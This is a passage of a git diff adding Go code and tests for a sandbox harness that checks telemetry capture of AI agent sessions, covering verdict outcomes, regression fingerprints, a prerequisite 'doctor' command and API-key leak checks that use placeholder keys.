+ if f.Severity != SevWarn {
+ t.Errorf("expected warn for an unrun check, got %s", f.Severity)
+ }
+ if !strings.Contains(f.Summary, "unverified") {
+ t.Errorf("summary should say unverified, got %q", f.Summary)
+ }
+ }
+ }
+ if v.Outcome == Fail {
+ t.Error("an unrun check should not fail the run; it is unproven, not disproven")
+ }
+}
+
+func TestFingerprintRecordsZeroesForMissingFields(t *testing.T) {
+ log, err := ReadLog(writeLog(t, goodLog()))
+ if err != nil {
+ t.Fatal(err)
+ }
+ v := Verdict{Scenario: "t", Outcome: Pass}
+ fp := v.Fingerprint(log)
+
+ // command.command is populated in goodLog; file.path is not. Both must be present as
+ // keys, because a regression from 5 to 0 has to be distinguishable from a missing key.
+ if fp.PopulatedFields["command.command"] != 1 {
+ t.Errorf("expected command.command populated once, got %d", fp.PopulatedFields["command.command"])
+ }
+ if n, ok := fp.PopulatedFields["file.path"]; !ok || n != 0 {
+ t.Errorf("expected file.path recorded as 0, got %d (present=%v)", n, ok)
+ }
+ if fp.Actions["command.executed"] != 1 {
+ t.Errorf("expected the action histogram populated, got %v", fp.Actions)
+ }
+}
+
+// The headline purpose of fingerprints: catch a field going empty even when the action still
+// fires and every expectation still passes.
+func TestFieldGoingEmptyIsARegression(t *testing.T) {
+ before := Fingerprint{Scenario: "s", Outcome: Pass,
+ Actions: map[string]int{"command.executed": 1},
+ PopulatedFields: map[string]int{"command.command": 1},
+ }
+ after := Fingerprint{Scenario: "s", Outcome: Pass,
+ Actions: map[string]int{"command.executed": 1},
+ PopulatedFields: map[string]int{"command.command": 0},
+ }
+ d := CompareFingerprints(before, after)
+
+ if !d.HasRegression() {
+ t.Fatalf("a field going empty must be a regression:\n%s", d.Describe())
+ }
+ if !strings.Contains(d.Describe(), "command.command no longer populated") {
+ t.Errorf("regression should name the field, got:\n%s", d.Describe())
+ }
+}
+
+func TestActionDisappearingIsARegression(t *testing.T) {
+ before := Fingerprint{Scenario: "s", Actions: map[string]int{"file.read": 2}}
+ after := Fingerprint{Scenario: "s", Actions: map[string]int{}}
+
+ d := CompareFingerprints(before, after)
+ if !d.HasRegression() {
+ t.Fatalf("an action disappearing must be a regression:\n%s", d.Describe())
+ }
+}
+
+// Count changes must NOT be regressions: a model taking three turns instead of two
+// legitimately shifts every count, and flagging that would bury the real signal.
+func TestCountChangeIsNeutralNotRegression(t *testing.T) {
+ before := Fingerprint{Scenario: "s",
+ Actions: map[string]int{"token.usage": 8},
+ PopulatedFields: map[string]int{"command.command": 1},
+ }
+ after := Fingerprint{Scenario: "s",
+ Actions: map[string]int{"token.usage": 12},
+ PopulatedFields: map[string]int{"command.command": 3},
+ }
+ d := CompareFingerprints(before, after)
+
+ if d.HasRegression() {
+ t.Errorf("differing counts are nondeterminism, not regression:\n%s", d.Describe())
+ }
+ if len(d.Neutral) == 0 {
+ t.Errorf("count changes should still be reported as varying:\n%s", d.Describe())
+ }
+}
+
+func TestFieldBecomingPopulatedIsAnImprovement(t *testing.T) {
+ before := Fingerprint{Scenario: "s", PopulatedFields: map[string]int{"command.command": 0}}
+ after := Fingerprint{Scenario: "s", PopulatedFields: map[string]int{"command.command": 4}}
+
+ d := CompareFingerprints(before, after)
+ if d.HasRegression() {
+ t.Error("a field becoming populated is not a regression")
+ }
+ if len(d.Improvements) == 0 || !strings.Contains(d.Describe(), "now populated") {
+ t.Errorf("expected an improvement to be reported:\n%s", d.Describe())
+ }
+}
+
+func TestPassToFailIsARegression(t *testing.T) {
+ d := CompareFingerprints(
+ Fingerprint{Scenario: "s", Outcome: Pass},
+ Fingerprint{Scenario: "s", Outcome: Fail},
+ )
+ if !d.HasRegression() {
+ t.Error("PASS -> FAIL must be a regression")
+ }
+}
diff --git a/beacon-sandbox/check/verdict.go b/beacon-sandbox/check/verdict.go
new file mode 100644
index 00000000..26c41eca
--- /dev/null
+++ b/beacon-sandbox/check/verdict.go
@@ -0,0 +1,186 @@
+package check
+
+import (
+ "encoding/json"
+ "fmt"
+ "os"
+ "sort"
+ "strings"
+)
+
+// Outcome is the verdict for a run.
+//
+// INCONCLUSIVE is the load-bearing one: it separates "Beacon missed it" from "the agent
+// never did it". Without that distinction a model that declines a prompt looks identical to
+// a capture bug, and the suite becomes untrustworthy.
+type Outcome string
+
+const (
+ Pass Outcome = "PASS"
+ Fail Outcome = "FAIL"
+ Inconclusive Outcome = "INCONCLUSIVE"
+)
+
+// Severity distinguishes a real failure from a recorded-but-tolerated gap.
+type Severity string
+
+const (
+ SevFail Severity = "fail"
+ SevWarn Severity = "warn"
+ SevInfo Severity = "info"
+)
+
+// Finding is one thing worth a human's attention, with evidence attached.
+type Finding struct {
+ Check string `json:"check"`
+ Severity Severity `json:"severity"`
+ Summary string `json:"summary"`
+ // Why carries the scenario author's rationale, so a failure explains what broke.
+ Why string `json:"why,omitempty"`
+ // Evidence points at exact artifact locations, e.g. "runtime.jsonl:88".
+ Evidence []string `json:"evidence,omitempty"`
+}
+
+// Verdict is the whole machine-readable result. Kept small on purpose: an agent or a human
+// should be able to read this without wading through logs, and drill in via Evidence.
+type Verdict struct {
+ Scenario string `json:"scenario"`
+ Outcome Outcome `json:"outcome"`
+ Reason string `json:"reason,omitempty"`
+ Findings []Finding `json:"findings,omitempty"`
+ Histogram map[string]int `json:"action_histogram,omitempty"`
+ Harnesses map[string]int `json:"harness_names,omitempty"`
+ EventCount int `json:"event_count"`
+ // Meta records what produced this verdict, for reproducibility.
+ Meta map[string]string `json:"meta,omitempty"`
+}
+
+// Add appends a finding.
+func (v *Verdict) Add(f Finding) { v.Findings = append(v.Findings, f) }
+
+// Resolve computes the outcome from the findings. Any fail-severity finding fails the run.
+func (v *Verdict) Resolve() {
+ // A fail-severity finding always wins, including over INCONCLUSIVE.
+ //
+ // Resolve used to return early on INCONCLUSIVE, which meant an inactive agent suppressed
+ // every hard failure alongside it: a leaked credential, a corrupt line, a host escape, or
+ // an argv disclosure all exited as inconclusive-and-therefore-not-a-failure. Those
+ // findings are invariants and safety properties -- they do not depend on the agent having
+ // done the scenario's work, so an idle agent is no reason to stop reporting them.
+ // INCONCLUSIVE only means "capture cannot be judged"; it never means "nothing is wrong".
+ for _, f := range v.Findings {
+ if f.Severity == SevFail {
+ // Overriding INCONCLUSIVE has to take its reason with it. Leaving "the agent did not
+ // perform the requested work" attached to a FAIL misattributes the failure to an idle
+ // model when something independent actually broke, which would send a reader off to
+ // retry instead of to the finding.
+ if v.Outcome == Inconclusive {
+ v.Reason = "the agent did not perform the requested work, but independent " +
+ "failures were found regardless -- see the findings below, and do not " +
+ "dismiss this as a retry"
+ }
+ v.Outcome = Fail
+ return
+ }
+ }
+ if v.Outcome == Inconclusive {
+ return
+ }
+ v.Outcome = Pass
+}
+
+// Failures returns just the fail-severity findings.
+func (v Verdict) Failures() []Finding {
+ var out []Finding
+ for _, f := range v.Findings {
+ if f.Severity == SevFail {
+ out = append(out, f)
+ }
+ }
+ return out
+}
+
+// WriteJSON persists the verdict.
+func (v Verdict) WriteJSON(path string) error {
+ b, err := json.MarshalIndent(v, "", " ")
+ if err != nil {
+ return err
+ }
+ return os.WriteFile(path, append(b, '\n'), 0o644)
+}
+
+// Report renders a compact human-readable summary.
+func (v Verdict) Report() string {
+ var b strings.Builder
+ fmt.Fprintf(&b, "%s %s", v.Outcome, v.Scenario)
+ if v.Reason != "" {
+ fmt.Fprintf(&b, " (%s)", v.Reason)
+ }
+ fmt.Fprintf(&b, "\n %d events captured\n", v.EventCount)
+
+ if len(v.Histogram) > 0 {
+ fmt.Fprintf(&b, " actions: %s\n", sortedCounts(v.Histogram))
+ }
+ if len(v.Harnesses) > 0 {
+ fmt.Fprintf(&b, " harness names: %s\n", sortedCounts(v.Harnesses))
+ // Only flag multiple *runtime* harness names. Beacon's own lifecycle events carry
+ // harness.name "endpoint", so counting those would report the inconsistency on every
+ // install scenario and train the reader to ignore it.
+ if runtimes := runtimeHarnessNames(v.Harnesses); len(runtimes) > 1 {
+ fmt.Fprintf(&b, " note: %d runtime harness names for one session (%s) -- the OTLP "+
+ "path normalizes to claude_code while hooks emit the raw --platform value\n",
+ len(runtimes), strings.Join(runtimes, ", "))
+ }
+ }
+
+ for _, sev := range []Severity{SevFail, SevWarn, SevInfo} {
+ for _, f := range v.Findings {
+ if f.Severity != sev {
+ continue
+ }
+ fmt.Fprintf(&b, " [%s] %s: %s\n", strings.ToUpper(string(sev)), f.Check, f.Summary)
+ if f.Why != "" {
+ fmt.Fprintf(&b, " why: %s\n", f.Why)
+ }
+ for _, e := range f.Evidence {
+ fmt.Fprintf(&b, " at: %s\n", e)
+ }
+ }
+ }
+ return b.String()
+}
+
+// beaconOwnHarnessNames are harness.name values Beacon itself emits for its own lifecycle
+// events, as opposed to an agent runtime it observed.
+var beaconOwnHarnessNames = map[string]bool{
+ "endpoint": true, "beacon": true, "test_harness": true, "": true,
+}
+
+func runtimeHarnessNames(m map[string]int) []string {
+ var out []string
+ for name := range m {
+ if !beaconOwnHarnessNames[name] {
+ out = append(out, name)
+ }
+ }
+ sort.Strings(out)
+ return out
+}
+
+func sortedCounts(m map[string]int) string {
+ keys := make([]string, 0, len(m))
+ for k := range m {
+ keys = append(keys, k)
+ }
+ sort.Slice(keys, func(i, j int) bool {
+ if m[keys[i]] != m[keys[j]] {
+ return m[keys[i]] > m[keys[j]]
+ }
+ return keys[i] < keys[j]
+ })
+ parts := make([]string, 0, len(keys))
+ for _, k := range keys {
+ parts = append(parts, fmt.Sprintf("%s=%d", k, m[k]))
+ }
+ return strings.Join(parts, " ")
+}
diff --git a/beacon-sandbox/cmd/beacon-sandbox/doctor.go b/beacon-sandbox/cmd/beacon-sandbox/doctor.go
new file mode 100644
index 00000000..b41f35d1
--- /dev/null
+++ b/beacon-sandbox/cmd/beacon-sandbox/doctor.go
@@ -0,0 +1,224 @@
+package main
+
+import (
+ "context"
+ "encoding/json"
+ "flag"
+ "fmt"
+ "os"
+ "os/exec"
+ "runtime"
+ "strings"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/credentials"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/image"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/sandbox"
+)
+
+// checkStatus is deliberately three-valued. "warn" exists for things that are not broken but
+// will produce a misleading result if ignored -- notably an exporter change that a downloaded
+// collector does not contain.
+type checkStatus string
+
+const (
+ statusOK checkStatus = "ok"
+ statusWarn checkStatus = "warn"
+ statusFail checkStatus = "fail"
+)
+
+type doctorCheck struct {
+ Name string `json:"name"`
+ Status checkStatus `json:"status"`
+ Detail string `json:"detail,omitempty"`
+ // Fix is the exact command or action that resolves this, so neither a human nor an agent
+ // has to guess.
+ Fix string `json:"fix,omitempty"`
+}
+
+type doctorResult struct {
+ Checks []doctorCheck `json:"checks"`
+ Ready bool `json:"ready"`
+}
+
+// cmdDoctor verifies every prerequisite and says exactly how to fix what is missing.
+//
+// This is the first thing to run, and the first step in the documented workflow, because the
+// alternative is a confusing mid-run failure: a missing collector surfaces as an image-staging
+// error, and a missing credential as an authentication failure inside the sandbox.
+func cmdDoctor(args []string) error {
+ fs := flag.NewFlagSet("doctor", flag.ExitOnError)
+ asJSON := fs.Bool("json", false, "print results as JSON for programmatic use")
+ fix := fs.Bool("fix", false, "resolve what can be resolved automatically (downloads the collector)")
+ modalSecret := fs.String("modal-secret", "", "name of a Modal secret holding ANTHROPIC_API_KEY")
+ keyCommand := fs.String("api-key-command", "", "command whose stdout is the Anthropic API key")
+ fs.Parse(args)
+
+ root, err := repoRoot()
+ if err != nil {
+ return err
+ }
+
+ var res doctorResult
+ add := func(c doctorCheck) { res.Checks = append(res.Checks, c) }
+
+ // --- toolchain ---
+ if out, err := exec.Command("go", "version").Output(); err == nil {
+ add(doctorCheck{Name: "go", Status: statusOK, Detail: strings.TrimSpace(string(out))})
+ } else {
+ add(doctorCheck{Name: "go", Status: statusFail,
+ Detail: "go not found on PATH",
+ Fix: "install Go 1.24+ from https://go.dev/dl/"})
+ }
+
+ // --- sandbox provider auth ---
+ // Attempting a real connection is the only honest check: credentials can be present but
+ // expired, and discovering that mid-run wastes a session.
+ ctx := context.Background()
+ if prov, err := sandbox.NewModal(ctx, appName); err == nil {
+ prov.Close()
+ add(doctorCheck{Name: "modal_auth", Status: statusOK, Detail: "authenticated"})
+ } else {
+ add(doctorCheck{Name: "modal_auth", Status: statusFail,
+ Detail: firstLine(err.Error()),
+ Fix: "pip install modal && modal token new (or set MODAL_TOKEN_ID and MODAL_TOKEN_SECRET)"})
+ }
+
+ // --- agent credential ---
+ creds, credErr := credentials.Resolve(credentials.Options{
+ ProviderSecretName: *modalSecret,
+ KeyCommand: *keyCommand,
+ })
+ add(credentialCheck(creds, credErr, *keyCommand))
+
+ // --- Beacon binary under test ---
+ beaconPath := image.BeaconPath(root)
+ if fi, err := os.Stat(beaconPath); err == nil && fi.Size() > 0 {
+ add(doctorCheck{Name: "beacon_binary", Status: statusOK, Detail: beaconPath})
+ } else {
+ add(doctorCheck{Name: "beacon_binary", Status: statusFail,
+ Detail: "missing " + beaconPath,
+ Fix: image.BuildBeaconHint})
+ }
+
+ // --- collector ---
+ collectorPath := image.CollectorPath(root)
+ if fi, err := os.Stat(collectorPath); err == nil && fi.Size() > 0 {
+ add(doctorCheck{Name: "collector_binary", Status: statusOK, Detail: collectorPath})
+ } else if *fix {
+ if p, err := image.EnsureCollector(root, func(f string, a ...any) {
+ if !*asJSON {
+ fmt.Printf(" "+f+"\n", a...)
+ }
+ }); err == nil {
+ add(doctorCheck{Name: "collector_binary", Status: statusOK, Detail: "downloaded to " + p})
+ } else {
+ add(doctorCheck{Name: "collector_binary", Status: statusFail, Detail: firstLine(err.Error()),
+ Fix: "see the build instructions in the error above"})
+ }
+ } else {
+ add(doctorCheck{Name: "collector_binary", Status: statusFail,
+ Detail: "missing " + collectorPath,
+ Fix: "beacon-sandbox doctor --fix (downloads it from the latest release)"})
+ }
+
+ // --- the trap: local exporter changes a downloaded collector will not contain ---
+ stale, reason := image.CollectorIsStale(root)
+ add(freshnessCheck(stale, reason))
+
+ res.Ready = true
+ for _, c := range res.Checks {
+ if c.Status == statusFail {
+ res.Ready = false
+ }
+ }
+
+ if *asJSON {
+ b, err := json.MarshalIndent(res, "", " ")
+ if err != nil {
+ return err
+ }
+ fmt.Println(string(b))
+ } else {
+ printDoctor(res)
+ }
+ if !res.Ready {
+ return fmt.Errorf("prerequisites are not met; fix the items above")
+ }
+ return nil
+}
+
+// credentialCheck reports on the Anthropic credential.
+//
+// The distinction it draws matters more than it looks. An explicitly configured helper that
+// fails is not the same problem as no credential at all, but the first version of this
+// collapsed both into "not configured" and printed the env-var fix -- which sends someone
+// whose `op read` is broken off to set an environment variable instead of unlocking their
+// vault. Resolve already produces a precise error; the job here is to not throw it away.
+func credentialCheck(creds credentials.Resolved, err error, keyCommand string) doctorCheck {
+ if err != nil {
+ if strings.TrimSpace(keyCommand) != "" {
+ return doctorCheck{Name: "anthropic_credential", Status: statusFail,
+ Detail: firstLine(err.Error()),
+ Fix: "fix the helper so it prints the key: " + keyCommand}
+ }
+ return doctorCheck{Name: "anthropic_credential", Status: statusFail,
+ Detail: "not configured",
+ Fix: "export ANTHROPIC_API_KEY=sk-ant-… (or --modal-secret NAME, or --api-key-command CMD)"}
+ }
+
+ c := doctorCheck{Name: "anthropic_credential", Status: statusOK, Detail: creds.Describe()}
+ if !creds.LeakCheckPossible() {
+ // Not a failure -- it is the most secure option. But the artifact leak check cannot
+ // run, and that must be visible rather than silently skipped.
+ c.Status = statusWarn
+ c.Fix = "use --api-key-command or ANTHROPIC_API_KEY if you want the artifact leak check to run"
+ }
+ return c
+}
+
+// freshnessCheck reports whether the collector on disk matches the exporter sources.
+//
+// CollectorIsStale returns a complete reason -- uncommitted changes, drift from the release a
+// binary was downloaded from, or sources newer than a local build. A first version prefixed every
+// result with the uncommitted wording, which doubled that case and mislabelled the other two, so
+// the check that exists to stop you verifying the wrong binary pointed at the wrong cause.
+// Reported by Cursor Bugbot after the reason string grew from one case to three.
+func freshnessCheck(stale bool, reason string) doctorCheck {
+ if !stale {
+ return doctorCheck{Name: "collector_freshness", Status: statusOK,
+ Detail: "collector matches the exporter sources in this tree"}
+ }
+ return doctorCheck{Name: "collector_freshness", Status: statusWarn,
+ Detail: reason,
+ Fix: "the telemetry normalization compiles into beacon-otelcol, not the beacon CLI, " +
+ "so rebuild the collector or your run will verify the wrong binary:\n" +
+ " go install go.opentelemetry.io/collector/cmd/[email protected]\n" +
+ " cd collector-builder && mkdir -p dist && GOOS=linux GOARCH=amd64 CGO_ENABLED=0 \"$(go env GOPATH)/bin/builder\" --config builder.yaml\n" +
+ " cp dist/beacon-otelcol/beacon-otelcol dist/beacon-otelcol/linux_amd64/beacon-otelcol"}
+}
+
+func printDoctor(res doctorResult) {
+ symbol := map[checkStatus]string{statusOK: "ok ", statusWarn: "warn", statusFail: "FAIL"}
+ for _, c := range res.Checks {
+ fmt.Printf("%s %-22s %s\n", symbol[c.Status], c.Name, c.Detail)
+ if c.Fix != "" {
+ fmt.Printf(" fix: %s\n", c.Fix)
+ }
+ }
+ fmt.Println()
+ if res.Ready {
+ fmt.Printf("ready. next: go run ./cmd/beacon-sandbox run --scenario s02-bash-command\n")
+ return
+ }
+ fmt.Printf("not ready — resolve the FAIL items above, then rerun doctor\n")
+ if runtime.GOOS == "windows" {
+ fmt.Println("note: the sandbox itself runs Linux, but these commands assume a POSIX shell")
+ }
+}
+
+func firstLine(s string) string {
+ if i := strings.IndexByte(s, '\n'); i >= 0 {
+ return s[:i]
+ }
+ return s
+}
diff --git a/beacon-sandbox/cmd/beacon-sandbox/doctor_test.go b/beacon-sandbox/cmd/beacon-sandbox/doctor_test.go
new file mode 100644
index 00000000..e5990319
--- /dev/null
+++ b/beacon-sandbox/cmd/beacon-sandbox/doctor_test.go
@@ -0,0 +1,541 @@
+package main
+
+import (
+ "encoding/json"
+ "errors"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/check"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/credentials"
+)
+
+// doctor's whole value is that its "fix" line is the right one. A check that reports a real
+// problem but points at the wrong remedy is worse than one that says nothing, because it sends
+// someone off to change something that was never broken.
+
+// The original version collapsed every resolution failure into "not configured" and printed the
+// environment-variable fix. Someone whose vault helper is locked would have been told to export
+// a key they were deliberately not keeping in their environment.
+func TestFailingKeyCommandIsBlamedOnTheHelperNotTheEnvironment(t *testing.T) {
+ got := credentialCheck(
+ credentials.Resolved{Source: credentials.SourceNone},
+ errors.New("api key command failed: exit status 7"),
+ "op read op://vault/anthropic/key",
+ )
+
+ if got.Status != statusFail {
+ t.Fatalf("status = %s, want fail", got.Status)
+ }
+ if strings.Contains(got.Detail, "not configured") {
+ t.Errorf("an explicitly configured helper that failed is not 'unconfigured': %q", got.Detail)
+ }
+ if !strings.Contains(got.Detail, "exit status 7") {
+ t.Errorf("detail should carry the resolver's diagnosis, got %q", got.Detail)
+ }
+ if !strings.Contains(got.Fix, "op read op://vault/anthropic/key") {
+ t.Errorf("fix should name the failing helper, got %q", got.Fix)
+ }
+ if strings.Contains(got.Fix, "export ANTHROPIC_API_KEY") {
+ t.Errorf("fix must not redirect to the environment variable, got %q", got.Fix)
+ }
+}
+
+// With nothing supplied at all, listing every option is exactly right -- this is the most
+// common first-run failure and the reader has no idea which paths exist.
+func TestNoCredentialListsEveryOption(t *testing.T) {
+ got := credentialCheck(
+ credentials.Resolved{Source: credentials.SourceNone},
+ errors.New("no Anthropic credential found; supply one of: ..."),
+ "",
+ )
+
+ if got.Status != statusFail {
+ t.Fatalf("status = %s, want fail", got.Status)
+ }
+ for _, want := range []string{"ANTHROPIC_API_KEY", "--modal-secret", "--api-key-command"} {
+ if !strings.Contains(got.Fix, want) {
+ t.Errorf("fix should mention %s, got %q", want, got.Fix)
+ }
+ }
+}
+
+// A provider secret is the most secure option, so it must not read as a failure. But the
+// artifact leak check cannot run against a value this process never held, and silently
+// downgrading that to "ok" would turn an unrunnable check into an apparent pass.
+func TestProviderSecretWarnsWithoutFailing(t *testing.T) {
+ got := credentialCheck(
+ credentials.Resolved{Source: credentials.SourceProviderSecret, ProviderSecretName: "team-key"},
+ nil, "",
+ )
+
+ if got.Status != statusWarn {
+ t.Fatalf("status = %s, want warn: secure but not fully verifiable", got.Status)
+ }
+ if got.Fix == "" {
+ t.Error("the warning should say how to make the leak check runnable")
+ }
+ if strings.Contains(got.Detail, "sk-ant") {
+ t.Errorf("detail must never carry key material, got %q", got.Detail)
+ }
+}
+
+// The ordinary case must be a clean ok, or the noise trains people to ignore doctor.
+func TestUsableLocalCredentialIsOK(t *testing.T) {
+ got := credentialCheck(
+ credentials.Resolved{Source: credentials.SourceEnv, Value: "sk-ant-secret-value"},
+ nil, "",
+ )
+
+ if got.Status != statusOK {
+ t.Fatalf("status = %s, want ok", got.Status)
+ }
+ if got.Fix != "" {
+ t.Errorf("a passing check should not print a fix, got %q", got.Fix)
+ }
+ if strings.Contains(got.Detail, "sk-ant-secret-value") {
+ t.Errorf("doctor output is pasted into issues and logs; it leaked the key: %q", got.Detail)
+ }
+}
+
+// An offline re-judge must never search artifacts for a key the run did not use. Finding nothing
+// then reports *clean* while a real disclosure of the original key goes unreported. Cursor Bugbot
+// flagged this as High after an earlier fix closed only the provider-secret case.
+func TestOfflineVerifyRefusesToSearchForTheWrongKey(t *testing.T) {
+ const captured = "sk-ant-the-key-the-run-actually-used"
+ t.Setenv(credentials.EnvVar, "sk-ant-a-completely-different-key")
+
+ got := offlineCredential(map[string]string{
+ "credential_source": string(credentials.SourceEnv),
+ "credential_fingerprint": credentials.Fingerprint(captured),
+ })
+
+ if got.LeakCheckPossible() {
+ t.Fatal("a key that does not match the run's fingerprint must not be searched for")
+ }
+ if got.Source != credentials.SourceMismatch {
+ t.Errorf("source = %s, want mismatch", got.Source)
+ }
+ if !strings.Contains(got.WithheldReason(), "not the one this run used") {
+ t.Errorf("the reason should say the key differs, got %q", got.WithheldReason())
+ }
+}
+
+// The matching case must still search, or the leak check would never run at all.
+func TestOfflineVerifySearchesWhenTheKeyMatches(t *testing.T) {
+ const key = "sk-ant-same-key-as-capture"
+ t.Setenv(credentials.EnvVar, key)
+
+ got := offlineCredential(map[string]string{
+ "credential_source": string(credentials.SourceEnv),
+ "credential_fingerprint": credentials.Fingerprint(key),
+ })
+
+ if !got.LeakCheckPossible() || got.Value != key {
+ t.Fatalf("a matching fingerprint must enable the search, got source=%s", got.Source)
+ }
+}
+
+// A provider-secret run has no local value at all, so it stays unverified regardless of what is
+// in the environment.
+func TestOfflineVerifyKeepsProviderSecretRunsUnverified(t *testing.T) {
+ t.Setenv(credentials.EnvVar, "sk-ant-irrelevant-local-key")
+
+ got := offlineCredential(map[string]string{
+ "credential_source": string(credentials.SourceProviderSecret),
+ "credential_secret_name": "team-key",
+ })
+
+ if got.LeakCheckPossible() {
+ t.Fatal("a provider-secret run must stay unverified")
+ }
+ if !strings.Contains(got.WithheldReason(), "team-key") {
+ t.Errorf("the reason should name the secret, got %q", got.WithheldReason())
+ }
+}
+
+// Runs captured before fingerprints existed cannot be checked either way, so the unknown must be
+// treated as unverified rather than assumed to match.
+func TestOfflineVerifyTreatsAMissingFingerprintAsUnverified(t *testing.T) {
+ t.Setenv(credentials.EnvVar, "sk-ant-some-key")
+
+ got := offlineCredential(map[string]string{"credential_source": string(credentials.SourceEnv)})
+
+ if got.LeakCheckPossible() {
+ t.Error("without a recorded fingerprint there is no evidence the keys match")
+ }
+}
+
+// The fingerprint goes into meta.json on disk, so it must not be reversible to the key.
+func TestFingerprintDoesNotRevealTheKey(t *testing.T) {
+ const key = "sk-ant-super-secret-value-12345"
+ fp := credentials.Fingerprint(key)
+
+ if strings.Contains(fp, key) || strings.Contains(fp, "sk-ant") {
+ t.Fatalf("fingerprint leaked key material: %q", fp)
+ }
+ if !strings.HasPrefix(fp, "sha256:") || len(fp) != len("sha256:")+12 {
+ t.Errorf("unexpected fingerprint shape: %q", fp)
+ }
+ if credentials.Fingerprint(key) != fp {
+ t.Error("fingerprint must be stable to be comparable across runs")
+ }
+ if credentials.Fingerprint(key+"x") == fp {
+ t.Error("different keys must produce different fingerprints")
+ }
+ if credentials.Fingerprint("") != "" {
+ t.Error("no value means no fingerprint")
+ }
+}
+
+// summarize's return value becomes the process exit status, and scripts and agents branch on it.
+// Returning success when every scenario was INCONCLUSIVE let "nothing was verified" read as
+// "verification succeeded" -- the vacuous pass this tool exists to prevent. Cursor Bugbot flagged
+// it as High.
+func TestAllInconclusiveDoesNotExitSuccessfully(t *testing.T) {
+ err := summarize([]check.Verdict{
+ {Scenario: "s01", Outcome: check.Inconclusive},
+ {Scenario: "s02", Outcome: check.Inconclusive},
+ })
+ if err == nil {
+ t.Fatal("an all-inconclusive run must not exit 0")
+ }
+ if !strings.Contains(err.Error(), "nothing was verified") {
+ t.Errorf("the error should say nothing was verified, got: %v", err)
+ }
+ // The remedy differs from a failure, so the wording must too.
+ if !strings.Contains(err.Error(), "retry") {
+ t.Errorf("the error should point at a retry, got: %v", err)
+ }
+}
+
+// A mixed run where something genuinely passed still succeeds -- an inconclusive scenario
+// alongside a real pass is a retry-worthy nuisance, not a failed verification.
+func TestMixedPassAndInconclusiveStillSucceeds(t *testing.T) {
+ err := summarize([]check.Verdict{
+ {Scenario: "s01", Outcome: check.Pass},
+ {Scenario: "s02", Outcome: check.Inconclusive},
+ })
+ if err != nil {
+ t.Errorf("a run with a real pass should not fail on an inconclusive sibling: %v", err)
+ }
+}
+
+// A failure still wins, and still reports as a failure rather than as "nothing verified".
+func TestFailureTakesPrecedenceOverInconclusive(t *testing.T) {
+ err := summarize([]check.Verdict{
+ {Scenario: "s01", Outcome: check.Fail},
+ {Scenario: "s02", Outcome: check.Inconclusive},
+ })
+ if err == nil {
+ t.Fatal("a failure must not exit 0")
+ }
+ if !strings.Contains(err.Error(), "failed") {
+ t.Errorf("a failure should be reported as such, got: %v", err)
+ }
+}
+
+// An empty run is not a pass either.
+func TestNoScenariosIsAnError(t *testing.T) {
+ if err := summarize(nil); err == nil {
+ t.Error("running nothing must not report success")
+ }
+}
+
+// doctor must report the cause CollectorIsStale actually found. The reason string grew from one
+// case to three (uncommitted changes, drift from a downloaded release, sources newer than a local
+// build) while doctor still prefixed every result with the uncommitted wording -- doubling that
+// case and mislabelling the other two. A check that exists to stop you verifying the wrong binary
+// is useless if it names the wrong cause. Cursor Bugbot caught it.
+func TestCollectorFreshnessReportsTheRealCause(t *testing.T) {
+ cases := map[string]string{
+ "uncommitted": "uncommitted changes under collector-builder/: M collector-builder/exporter/exp.go",
+ "release drift": "binary was downloaded from release v1.0.6, but collector-builder/ has " +
+ "changed since: collector-builder/exporter/exp.go",
+ "newer sources": "collector-builder/ sources are newer than the built binary: " +
+ "collector-builder/exporter/exp.go",
+ }
+ for name, reason := range cases {
+ got := freshnessCheck(true, reason)
+
+ if got.Status != statusWarn {
+ t.Errorf("%s: status = %s, want warn", name, got.Status)
+ }
+ if got.Detail != reason {
+ t.Errorf("%s: detail must be the reason verbatim, got %q", name, got.Detail)
+ }
+ if name != "uncommitted" && strings.HasPrefix(got.Detail, "uncommitted changes") {
+ t.Errorf("%s: a %s cause must not be labelled uncommitted: %q", name, name, got.Detail)
+ }
+ if strings.Count(got.Detail, "uncommitted changes under collector-builder/") > 1 {
+ t.Errorf("%s: the uncommitted wording is doubled: %q", name, got.Detail)
+ }
+ if !strings.Contains(got.Fix, "beacon-otelcol") {
+ t.Errorf("%s: the fix must explain which binary to rebuild, got %q", name, got.Fix)
+ }
+ }
+}
+
+// A fresh collector must report ok with no fix, or the warning becomes noise.
+func TestCollectorFreshnessOKWhenNotStale(t *testing.T) {
+ got := freshnessCheck(false, "")
+
+ if got.Status != statusOK {
+ t.Fatalf("status = %s, want ok", got.Status)
+ }
+ if got.Fix != "" {
+ t.Errorf("a passing check should print no fix, got %q", got.Fix)
+ }
+ // The old wording claimed only "no uncommitted exporter changes", which understated what the
+ // check now verifies and would read as green while a downloaded binary was drifting.
+ if strings.Contains(got.Detail, "uncommitted") {
+ t.Errorf("the ok detail should describe what was verified, not just one signal: %q", got.Detail)
+ }
+}
+
+// verify writes both artifacts or neither. Rewriting only the fingerprint left verdict.json
+// holding the old outcome while fingerprint.json held the new one, so the two files on disk
+// disagreed about the same run and anything reading the verdict trusted a stale judgment. Cursor
+// Bugbot reported it, and it had already happened in this repo's own run directories.
+//
+// Driven through the real `verify` command rather than a helper, because the bug was in which
+// files the command chose to write -- a property no unit test on the judging logic would see.
+func TestVerifyKeepsVerdictAndFingerprintInAgreement(t *testing.T) {
+ dir := t.TempDir()
+ // A log whose only command event lets a min_count-2 expectation fail, then pass once relaxed.
+ lines := []string{
+ `{"timestamp":"2026-08-02T18:00:00Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"kind":"agent_runtime","action":"prompt.submitted","category":"prompt"},"severity":"info","endpoint":{"os":"linux","hostname":"s"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"prompt":{"text":"MARKER"},"message":"m"}`,
+ }
+ if err := os.WriteFile(filepath.Join(dir, "runtime.jsonl"), []byte(strings.Join(lines, "\n")+"\n"), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ meta := map[string]string{
+ "scenario": "s01-hello", "canary": "MARKER",
+ "sentinel_present": "true", "sentinel_detail": "MARKER",
+ "host_state": "host state unchanged", "argv_check_ran": "true", "secret_in_argv": "false",
+ }
+ b, _ := json.MarshalIndent(meta, "", " ")
